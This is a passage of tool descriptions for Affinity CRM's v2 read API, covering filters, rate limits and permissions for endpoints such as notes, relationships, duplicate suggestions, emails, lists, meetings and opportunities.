string that you can specify conditions based on the following properties. | **Property Name** | **Type** | **Allowed Operators** | **Examples** | |---|---|---|---| | `creator.id` | `int32` | `=` | `creator.id=1` | | `createdAt` | `datetime` | `>`, `<`, `>=`, `<=` | `createdAt<2025-02-04T10:48:24Z` | | `updatedAt` | `datetime` | `>`, `<`, `>=`, `<=` | `updatedAt>=2025-02-03T10:48:24Z` | Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/companies/{companyId}/notes. Scopes: api.read. affinity_get_v2_companies_by_companyid_relationships (read) — Get Relationships for a Company via GET /v2/companies/{companyId}/relationships. Returns the relationships for a given company, including the interaction score that measures the strength of each relationship based on communication patterns such as emails, meetings, and other interactions. Each relationship includes two persons (person1 and person2) who have a connection related to this company. ## Interaction score The `interactionScore` is a value between `0.0` and `1.0` that reflects how frequently the two persons interact across email, calendar events, and chat messages. The more interactions, the higher the score. Recent interactions are weighted slightly higher than older ones. As rough guidance, scores at or above `0.7` typically indicate two persons that communicate regularly, scores between `0.4` and `0.7` indicate occasional communication, and scores below `0.4` indicate only sporadic communication. ## LinkedIn connections The collection also includes relationships based on a LinkedIn connection between an internal team member and a person related to this company. Whenever a LinkedIn connection exists between the two persons in a relationship, `linkedIn` is populated with the date the connection was made. `linkedIn` is `null` when no LinkedIn connection between the two persons is known by Affinity. Note that LinkedIn-based relationships which do not have any interaction data will have an `interactionScore` of `0`. ## Filters You can filter relationships using the `filter` query parameter. The filter parameter is a string that you can specify conditions based on the following properties. | **Property Name** | **Type** | **Description** | **Allowed Operators** | **Examples** | |---|---|---|---|---| | `interactionScore` | `double` | Strength of the relationship, between `0.0` and `1.0`. Higher means stronger. | `>`, `<`, `>=`, `<=` | `interactionScore>=0.5` | ## Sorting You can sort relationships using the `orderBy` query parameter. `interactionScore` is the only sortable property. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/companies/{companyId}/relationships. Scopes: api.read. affinity_get_v2_companies_fields (read) — Get metadata on Company Fields via GET /v2/companies/fields. Returns metadata on non-list-specific Company Fields. Use the returned Field IDs to request field data from the GET `/v2/companies` and GET `/v2/companies/{id}` endpoints. You can filter Fields using the `filter` query parameter. The filter parameter is a string that you can specify conditions based on the following properties. | **Property Name** | **Type** | **Allowed Operators** | **Examples** | |---|---|---|---| | `name` | `text` | `=`, `=~` | `name="Location"`, `name=~loc` | Use the `includes` query parameter to add optional metadata to each Field in the response. Pass `includes` more than once to request multiple values. | **Value** | **Adds to each Field** | |---|---| | `filterability` | How the field can be used in filter expressions on GET `/v2/companies` and POST `/v2/companies/search` | | `sortability` | How the field can be used in sort expressions on those endpoints | Example: `GET /v2/companies/fields?includes=filterability&includes=sortability` Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/companies/fields. Scopes: api.read. affinity_get_v2_companies_fields_by_fieldid_dropdown_options (read) — Get dropdown options for a Company Field via GET /v2/companies/fields/{fieldId}/dropdown-options. Returns the dropdown options for a specific dropdown or ranked-dropdown field on a Company. Use the returned dropdown option IDs when writing dropdown field values via the field update endpoints. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/companies/fields/{fieldId}/dropdown-options. Scopes: api.read. affinity_get_v2_company_merges (read) — Get All Company Merges via GET /v2/company-merges. Retrieve paginated company merges for the organization. Returns all company merges initiated by users in your organization, including their current status, the companies involved, and merge details. You can filter company merges using the `filter` query parameter. The filter parameter is a string that you can specify conditions based on the following properties: | **Property Name** | **Type** | **Allowed Operators** | **Examples** | |---|---|---|---| | `status` | `enum` | `=` | `status=in-progress`, `status=success`, `status=failed` | | `taskId` | `text` | `=` | `taskId=789e0123-e45b-67c8-d901-234567890123` | Company merges are returned in reverse chronological order (most recent first). Requires the "Manage duplicates" [permission](/pages/external-api-v2/permissions) and organization admin role. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/company-merges. Scopes: api.read. affinity_get_v2_company_merges_by_mergeid (read) — Get Company Merge via GET /v2/company-merges/{mergeId}. Retrieve the status and details of a specific company merge. Returns information about the company merge including its current status, the companies involved, timestamps, and any error information if the merge failed. The `mergeId` can be obtained from the response of the [Get All Company Merges](/api-reference/company-merges/get-all-company-merges) endpoint, or by filtering company merges by task ID using `/v2/company-merges?filter=taskId={taskId}` after initiating a merge. Requires the "Manage duplicates" [permission](/pages/external-api-v2/permissions) and organization admin role. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/company-merges/{mergeId}. Scopes: api.read. affinity_get_v2_duplicates_company_suggestions (read) — Get All Company Duplicate Suggestions via GET /v2/duplicates/company-suggestions. | ⚠️ This endpoint is currently in BETA | |--| Retrieves company duplicate suggestions detected for your organization. Each suggestion contains a recommended `primaryProfile` and a `duplicateProfiles` array containing the single company profile Affinity has identified as a likely duplicate, along with the `matchCriteria` that produced the suggestion. The full company payload is returned for both sides so that an automated agent can evaluate the suggestion without additional lookups. Only actionable suggestions are returned: pairs that have no feedback recorded yet (not merged, not marked as not-duplicates, and not skipped) and whose underlying company profiles are still active and eligible to be merged. Suggestions that have already been acted on are omitted. You can narrow the results using the `filter` query parameter, which accepts the Affinity Filtering Language. The filterable properties are: | **Property Name** | **Type** | **Allowed Operators** | **Examples** | |---|---|---|---| | `matchCriteria` | `enum` | `=` | `matchCriteria=name`, `matchCriteria=domain-redirect`, `matchCriteria=domain-match` | To act on a suggestion, call `POST /v2/company-merges` with the `id` of the `primaryProfile` and the `id` of the entry in `duplicateProfiles`. Once the merge is applied, the suggestion stops being returned by this endpoint immediately. Marking the pair as not duplicates has the same permanent effect. There is currently no way to retrieve a suggestion after either action. Skipping a suggestion is not permanent and works differently. It hides a `name` match suggestion from the user who skipped it for two weeks, after which the suggestion is returned again. It does not change what other users see, and it does not apply to the other match criteria. Requires the "Manage duplicates" [permission](/pages/external-api-v2/permissions), which is granted to organization admins. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/duplicates/company-suggestions. Scopes: api.read. affinity_get_v2_duplicates_person_suggestions (read) — Get All Person Duplicate Suggestions via GET /v2/duplicates/person-suggestions. | ⚠️ This endpoint is currently in BETA | |--| Retrieves person duplicate suggestions detected for your organization. Each suggestion contains a recommended `primaryProfile` and a `duplicateProfiles` array containing the single person profile Affinity has identified as a likely duplicate, along with the `matchCriteria` that produced the suggestion. The full person payload is returned for both sides so that an automated agent can evaluate the suggestion without additional lookups. Only actionable suggestions are returned: pairs that have no feedback recorded yet (not merged, not marked as not-duplicates, and not skipped) and whose underlying person profiles are still active and eligible to be merged. Suggestions that have already been acted on are omitted. You can narrow the results using the `filter` query parameter, which accepts the Affinity Filtering Language. The filterable properties are: | **Property Name** | **Type** | **Allowed Operators** | **Examples** | |---|---|---|---| | `matchCriteria` | `enum` | `=` | `matchCriteria=name`, `matchCriteria=intelligent` | To act on a suggestion, call `POST /v2/person-merges` with the `id` of the `primaryProfile` and the `id` of the entry in `duplicateProfiles`. Once the merge is applied, the suggestion stops being returned by this endpoint immediately. Marking the pair as not duplicates has the same permanent effect. There is currently no way to retrieve a suggestion after either action. Skipping a suggestion is not permanent and works differently. It hides a `name` match suggestion from the user who skipped it for two weeks, after which the suggestion is returned again. It does not change what other users see, and it does not apply to the other match criteria. Requires the "Manage duplicates" [permission](/pages/external-api-v2/permissions), which is granted to organization admins. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/duplicates/person-suggestions. Scopes: api.read. affinity_get_v2_emails (read) — Get metadata on all Emails via GET /v2/emails. Paginate through all emails in Affinity. Returns basic information about the email interaction and its participants. Will only return emails or subject lines that the current authenticated user has permission to see. Email bodies (the message content) are not available through the API. Only metadata such as the subject, participants, and timestamps is returned. If the authenticated user does not have permission to see an email's subject, the `subject` field is obfuscated and returned as `********` rather than the actual subject line. You can filter emails using the `filter` query parameter. The filter parameter is a string that you can specify conditions based on the following properties. | **Property Name** | **Type** | **Allowed Operators** | **Examples** | |---|---|---|---| | `id` | `int64` | `=` | `id=1\|id=2\|id=3` | | `sentAt` | `datetime` | `>`, `<`, `>=`, `<=` | `sentAt>2025-01-01T01:00:00Z` | | `createdAt` | `datetime` | `>`, `<`, `>=`, `<=` | `createdAt<2025-01-01T01:00:00Z` | | `updatedAt` | `datetime` | `>`, `<`, `>=`, `<=` | `updatedAt>=2025-01-01T01:00:00Z` | Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/emails. Scopes: api.read. affinity_get_v2_field_value_changes (read) — Get all field value changes via GET /v2/field-value-changes. Retrieve field value changes across all entities and fields in your Affinity workspace. For an overview of field value changes, including which fields support change tracking and how the action types behave, see [Field Value Changes](/pages/data-model/working-with-field-data#field-value-changes). This endpoint is built for delta-sync. Within a single sync, follow `pagination.nextUrl` to page through results until it becomes `null`, which means you have reached the most recent change. To run the next incremental sync, record the `changedAt` of the last change you processed and, on your next sync, filter for changes newer than that timestamp (for example, `filter=changedAt>2024-06-01T12:00:00Z`). Do not persist `nextUrl` between syncs, since it is `null` once you are caught up. Changes are returned in ascending order of `changedAt`, then by internal change ID. Only fields with change tracking enabled are included. You can filter results using the `filter` query parameter. | **Property Name** | **Type** | **Description** | **Allowed Operators** | **Examples** | |---|---|---|---|---| | `field.id` | `text` | | `=` | `field.id=field-1234` | | `listEntry.id` | `int64` | | `=` | `listEntry.id=5678` | | `changer.id` | `int64` | The person who made the change. | `=` | `changer.id=9012` | | `changedAt` | `datetime` | When the change was made. | `>`, `<`, `>=`, `<=` | `changedAt>=2025-01-01T00:00:00Z` | | `actionType` | `text` | The type of change (`add`, `update`, `delete`) | `=` | `actionType=add` | Filters can be combined: - `|` (OR) to match any of multiple values: `field.id=field-1 | field.id=field-2` - `&` (AND) to require all conditions: `changedAt>=2025-01-01T00:00:00Z & changedAt<=2025-12-31T23:59:59Z` Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/field-value-changes. Scopes: api.read. affinity_get_v2_inferred_connections_coworkers (read) — Get Coworker Inferred Connections via GET /v2/inferred-connections/coworkers. | ⚠️ This endpoint is currently in BETA | |--| Returns inferred connections based on shared work history, grouped by the target person, strongest first. A connection is the belief that a `source` (a person in your Affinity data, with an `id`, whom you know) might know a `target` (a person not in your Affinity data, described only, whom you want to know), because the two had overlapping employment at a shared company. The same target can be reachable through several people you know. Connections are grouped by target: each item in `data` is one target together with the `connections` to them. Within a target, connections are ordered strongest first; targets are ordered by their strongest connection, strongest first. Each `target` carries the company they work at **today** in `target.currentCompany`: the company at which they are a potential contact now, which is not necessarily the shared employer behind the connection. The `filter` parameter is required and must contain at least one filter. The only currently supported filter is `target.currentCompany.id`, which narrows the targets to a single such company. ## Filters | **Property Name** | **Type** | **Description** | **Allowed Operators** | **Examples** | |---|---|---|---|---| | `target.currentCompany.id` | `integer` | The id of the company the `target` person currently works at. Must reference a single company; filtering on more than one (e.g. `target.currentCompany.id = 1 \| target.currentCompany.id = 2`) returns a `400`. | `=` | `target.currentCompany.id = 123` | Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/inferred-connections/coworkers. Scopes: api.read. affinity_get_v2_inferred_connections_investor_executive_connections (read) — Get Investor-Executive Inferred Connections via GET /v2/inferred-connections/investor-executive-connections. | ⚠️ This endpoint is currently in BETA | |--| Returns investor-executive inferred connections, grouped by the target person, strongest first. A connection is the belief that a `source` (a person in your Affinity data, with an `id`, whom you know) might know a `target` (a person not in your Affinity data, described only, whom you want to know). In this connection type the source is an investor and the target is an executive: the source invested in a company where the target was an executive. The same target can be reachable through several people you know. Connections are grouped by target: each item in `data` is one target together with the `connections` to them. Within a target, connections are ordered strongest first; targets are ordered by their strongest connection, strongest first. Each `target` carries the company they work at **today** in `target.currentCompany`: the company at which they are a potential contact now, which is not necessarily the company involved in the investment. The `filter` parameter is required and must contain at least one filter. The only currently supported filter is `target.currentCompany.id`, which narrows the targets to a single such company. ## Filters | **Property Name** | **Type** | **Description** | **Allowed Operators** | **Examples** | |---|---|---|---|---| | `target.currentCompany.id` | `integer` | The id of the company the `target` person currently works at. Must reference a single company; filtering on more than one (e.g. `target.currentCompany.id = 1 \| target.currentCompany.id = 2`) returns a `400`. | `=` | `target.currentCompany.id = 123` | Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/inferred-connections/investor-executive-connections. Scopes: api.read. affinity_get_v2_lists (read) — Get metadata on all Lists via GET /v2/lists. Paginate through all Lists in your organization that you have access to view. Returns basic information about each List, including name, owner, and privacy settings. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/lists. Scopes: api.read. affinity_get_v2_lists_by_listid (read) — Get metadata on a single List via GET /v2/lists/{listId}. Retrieve detailed information about a specific List you have access to view. Returns List configuration including name, owner, privacy settings, and creation details. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/lists/{listId}. Scopes: api.read. affinity_get_v2_lists_by_listid_fields (read) — Get metadata on a single List's Fields via GET /v2/lists/{listId}/fields. Returns metadata on the Fields available on a single List. Use the returned Field IDs to request field data from the GET `/v2/lists/{listId}/list-entries` endpoint. You can filter Fields using the `filter` query parameter. The filter parameter is a string that you can specify conditions based on the following properties. | **Property Name** | **Type** | **Allowed Operators** | **Examples** | |---|---|---|---| | `name` | `text` | `=`, `=~` | `name="Status"`, `name=~stat` | Use the `includes` query parameter to add optional metadata to each Field in the response. Pass `includes` more than once to request multiple values. | **Value** | **Adds to each Field** | |---|---| | `filterability` | How the field can be used in filter expressions on POST `/v2/lists/{listId}/list-entries/search` | | `sortability` | How the field can be used in sort expressions on that endpoint | The `time-in-current-status` Field is only filterable and sortable when the List has a Status column configured. On a List without one, its `filterability` and `sortability` are `null`. Example: `GET /v2/lists/{listId}/fields?includes=filterability&includes=sortability` Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/lists/{listId}/fields. Scopes: api.read. affinity_get_v2_lists_by_listid_fields_by_fieldid_dropdown_options (read) — Get dropdown options for a List Field via GET /v2/lists/{listId}/fields/{fieldId}/dropdown-options. Returns the dropdown options for a specific dropdown, ranked-dropdown, or status-dropdown field on a List. Use the returned dropdown option IDs when writing dropdown field values via the field update endpoints. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/lists/{listId}/fields/{fieldId}/dropdown-options. Scopes: api.read. affinity_get_v2_lists_by_listid_fields_by_fieldid_dropdown_options_by_dropdownoptionid (read) — Get a dropdown option for a List Field via GET /v2/lists/{listId}/fields/{fieldId}/dropdown-options/{dropdownOptionId}. Get a single dropdown option for a List Field. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/lists/{listId}/fields/{fieldId}/dropdown-options/{dropdownOptionId}. Scopes: api.read. affinity_get_v2_lists_by_listid_list_entries (read) — Get all List Entries on a List via GET /v2/lists/{listId}/list-entries. Paginate through the List Entries (AKA rows) on a given List. Returns basic information and field data, including list-specific field data, on each Company, Person, or Opportunity on the List. List Entries also include metadata about their creation, i.e., when they were added to the List and by whom. To retrieve field data, you must use either the `fieldIds` or the `fieldTypes` parameter to specify the Fields for which you want data returned. These Field IDs and Types can be found using the GET `/v2/lists/{listId}/fields` endpoint. When no `fieldIds` or `fieldTypes` are provided, List Entries will be returned without any field data attached. To supply multiple `fieldIds` or `fieldTypes` parameters, generate a query string that looks like this: `?fieldIds=field-1234&fieldIds=affinity-data-location` or `?fieldTypes=enriched&fieldTypes=global`. Requires the "Export data from Lists" [permission](/pages/external-api-v2/permissions). Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/lists/{listId}/list-entries. Scopes: api.read. affinity_get_v2_lists_by_listid_list_entries_by_listentryid (read) — Get a single List Entry on a List via GET /v2/lists/{listId}/list-entries/{listEntryId}. Retrieve a single list entry. Returns basic information and field data, including list-specific field data. To retrieve field data, you must use either the `fieldIds` or the `fieldTypes` parameter to specify the Fields for which you want data returned. These Field IDs and Types can be found using the GET `/v2/lists/{listId}/fields` endpoint. When no `fieldIds` or `fieldTypes` are provided, the List Entry will be returned without any field data attached. To supply multiple `fieldIds` or `fieldTypes` parameters, generate a query string that looks like this: `?fieldIds=field-1234&fieldIds=affinity-data-location` or `?fieldTypes=enriched&fieldTypes=global`. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/lists/{listId}/list-entries/{listEntryId}. Scopes: api.read. affinity_get_v2_lists_by_listid_list_entries_by_listentryid_field_value_changes (read) — Get Field Value Changes on a List Entry via GET /v2/lists/{listId}/list-entries/{listEntryId}/field-value-changes. Paginate through the historical value changes on the fields of a List Entry. For an overview of field value changes, including which fields support change tracking and how the action types behave, see [Field Value Changes](/pages/data-model/working-with-field-data#field-value-changes). Each change includes who made the change, when it occurred, the action that was performed, and the value that was set. Changes are sorted by `changedAt` in ascending order (oldest first). You can filter field value changes using the `filter` query parameter. The filter parameter is a string that you can specify conditions based on the following properties. | **Property Name** | **Type** | **Description** | **Allowed Operators** | **Examples** | |---|---|---|---|---| | `field.id` | `text` | | `=` | `field.id=field-1234` | | `changedAt` | `datetime` | When the change was made. | `>`, `<`, `>=`, `<=` | `changedAt>2026-01-01T00:00:00Z` | | `changer.id` | `int64` | The person who made the change. | `=` | `changer.id=1234` | | `actionType` | `text` | The type of change (`add`, `update`, `delete`) | `=` | `actionType=add` | Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/lists/{listId}/list-entries/{listEntryId}/field-value-changes. Scopes: api.read. affinity_get_v2_lists_by_listid_list_entries_by_listentryid_fields (read) — Get field values on a single List Entry via GET /v2/lists/{listId}/list-entries/{listEntryId}/fields. Paginate through all field values on a single list entry. All fields will be included by default. The `ids` and `types` parameters can be used to filter the collection. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/lists/{listId}/list-entries/{listEntryId}/fields. Scopes: api.read. affinity_get_v2_lists_by_listid_list_entries_by_listentryid_fields_by_fieldid (read) — Get a single field value via GET /v2/lists/{listId}/list-entries/{listEntryId}/fields/{fieldId}. Returns a single field value on a list entry. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/lists/{listId}/list-entries/{listEntryId}/fields/{fieldId}. Scopes: api.read. affinity_get_v2_lists_by_listid_list_entries_by_listentryid_fields_by_fieldid_values (read) — Get values for a single field on a List Entry via GET /v2/lists/{listId}/list-entries/{listEntryId}/fields/{fieldId}/values. | ⚠️ This endpoint is currently in BETA | |--| Paginate through all values for a field on a list entry. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/lists/{listId}/list-entries/{listEntryId}/fields/{fieldId}/values. Scopes: api.read. affinity_get_v2_lists_by_listid_saved_views (read) — Get metadata on Saved Views via GET /v2/lists/{listId}/saved-views. Paginate through all Saved Views you have access to view for a specific List. Returns basic information about each Saved View, including name, type, and creation date. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/lists/{listId}/saved-views. Scopes: api.read. affinity_get_v2_lists_by_listid_saved_views_by_viewid (read) — Get metadata on a single Saved View via GET /v2/lists/{listId}/saved-views/{viewId}. Retrieve detailed information about a specific Saved View you have access to view. Returns Saved View configuration including name, type, and creation date. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/lists/{listId}/saved-views/{viewId}. Scopes: api.read. affinity_get_v2_lists_by_listid_saved_views_by_viewid_list_entries (read) — Get all List Entries on a Saved View via GET /v2/lists/{listId}/saved-views/{viewId}/list-entries. Paginate through the List Entries (AKA rows) on a given Saved View. Use this endpoint when you need to filter entities or only want **some** field data to be returned: This endpoint respects the filters set on a Saved View via web app, and only returns field data corresponding to the columns that have been pulled into the Saved View via web app. Though this endpoint respects the Saved View's filters and column/Field selection, it does not yet preserve sort order. This endpoint also only supports **sheet-type Saved Views**, and not board- or dashboard-type Saved Views. See the [Data Model](/pages/data-model/the-basics) section for more information about Saved Views. Requires the "Export data from Lists" [permission](/pages/external-api-v2/permissions). Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/lists/{listId}/saved-views/{viewId}/list-entries. Scopes: api.read. affinity_get_v2_meetings (read) — Get metadata on all Meetings via GET /v2/meetings. Paginate through all Meetings in Affinity. Returns basic information about past and future meeting interactions and its attendees. You can filter meetings using the `filter` query parameter. The filter parameter is a string that you can specify conditions based on the following properties. | **Property Name** | **Type** | **Allowed Operators** | **Examples** | |---|---|---|---| | `id` | `int64` | `=` | `id=1\|id=2\|id=3` | | `startTime` | `datetime` | `>`, `<`, `>=`, `<=` | `startTime>2025-01-01T01:00:00Z` | | `createdAt` | `datetime` | `>`, `<`, `>=`, `<=` | `createdAt<2025-01-01T01:00:00Z` | | `updatedAt` | `datetime` | `>`, `<`, `>=`, `<=` | `updatedAt>=2025-01-01T01:00:00Z` | Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/meetings. Scopes: api.read. affinity_get_v2_meetings_by_meetingid (read) — Get a single Meeting via GET /v2/meetings/{meetingId}. | ⚠️ This endpoint is currently in BETA | |--| Retrieve detailed information about a specific Meeting you have access to view. Returns meeting details including title, timing, organizer, creator, and attendee information. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/meetings/{meetingId}. Scopes: api.read. affinity_get_v2_notes (read) — Get all Notes via GET /v2/notes. Returns all notes, with the exception of replies. You can filter notes using the `filter` query parameter. The filter parameter is a string that you can specify conditions based on the following properties. | **Property Name** | **Type** | **Allowed Operators** | **Examples** | |---|---|---|---| | `id` | `int32` | `=` | `id=1\|id=2\|id=3` | | `creator.id` | `int32` | `=` | `creator.id=1` | | `createdAt` | `datetime` | `>`, `<`, `>=`, `<=` | `createdAt<2025-02-04T10:48:24Z` | | `updatedAt` | `datetime` | `>`, `<`, `>=`, `<=` | `updatedAt>=2025-02-03T10:48:24Z` | Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/notes. Scopes: api.read. affinity_get_v2_notes_by_noteid (read) — Get a single Note via GET /v2/notes/{noteId}. Get a Note with a given id Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/notes/{noteId}. Scopes: api.read. affinity_get_v2_notes_by_noteid_attached_companies (read) — Get Companies attached to a Note via GET /v2/notes/{noteId}/attached-companies. Returns directly attached companies for a given Note. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/notes/{noteId}/attached-companies. Scopes: api.read. affinity_get_v2_notes_by_noteid_attached_opportunities (read) — Get Opportunities attached to a Note via GET /v2/notes/{noteId}/attached-opportunities. Returns directly attached opportunities for a given Note. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/notes/{noteId}/attached-opportunities. Scopes: api.read. affinity_get_v2_notes_by_noteid_attached_persons (read) — Get Persons attached to a Note via GET /v2/notes/{noteId}/attached-persons. Returns directly attached persons for a given Note. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/notes/{noteId}/attached-persons. Scopes: api.read. affinity_get_v2_notes_by_noteid_replies (read) — Get replies for a Note via GET /v2/notes/{noteId}/replies. This endpoint returns reply notes for a given note id. You can filter replies using the `filter` query parameter. The filter parameter is a string that you can specify conditions based on the following properties. | **Property Name** | **Type** | **Allowed Operators** | **Examples** | |---|---|---|---| | `creator.id` | `int32` | `=` | `creator.id=1` | | `createdAt` | `datetime` | `>`, `<`, `>=`, `<=` | `createdAt<2025-02-04T10:48:24Z` | | `updatedAt` | `datetime` | `>`, `<`, `>=`, `<=` | `updatedAt>=2025-02-03T10:48:24Z` | Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/notes/{noteId}/replies. Scopes: api.read. affinity_get_v2_opportunities (read) — Get all Opportunities via GET /v2/opportunities. Paginate through Opportunities in Affinity. Returns basic information but **not** field data on each Opportunity. To access field data on Opportunities, use the `/lists/{list_id}/list-entries` or the `/v2/lists/{list_id}/saved-views/{view_id}/list-entries` GET endpoint. Requires the "Export data from Lists" [permission](/pages/external-api-v2/permissions). Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/opportunities. Scopes: api.read. affinity_get_v2_opportunities_by_opportunityid (read) — Get a single Opportunity via GET /v2/opportunities/{opportunityId}. Returns basic information but **not** field data on the requested Opportunity. To access field data on Opportunities, use the `/lists/{list_id}/list-entries` or the `/v2/lists/{list_id}/saved-views/{view_id}/list-entries` GET endpoint. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/opportunities/{opportunityId}. Scopes: api.read. affinity_get_v2_opportunities_by_opportunityid_notes (read) — Get Notes for an Opportunity via GET /v2/opportunities/{opportunityId}/notes. Returns Notes for a given Opportunity which includes directly attached notes and those attached to persons on this 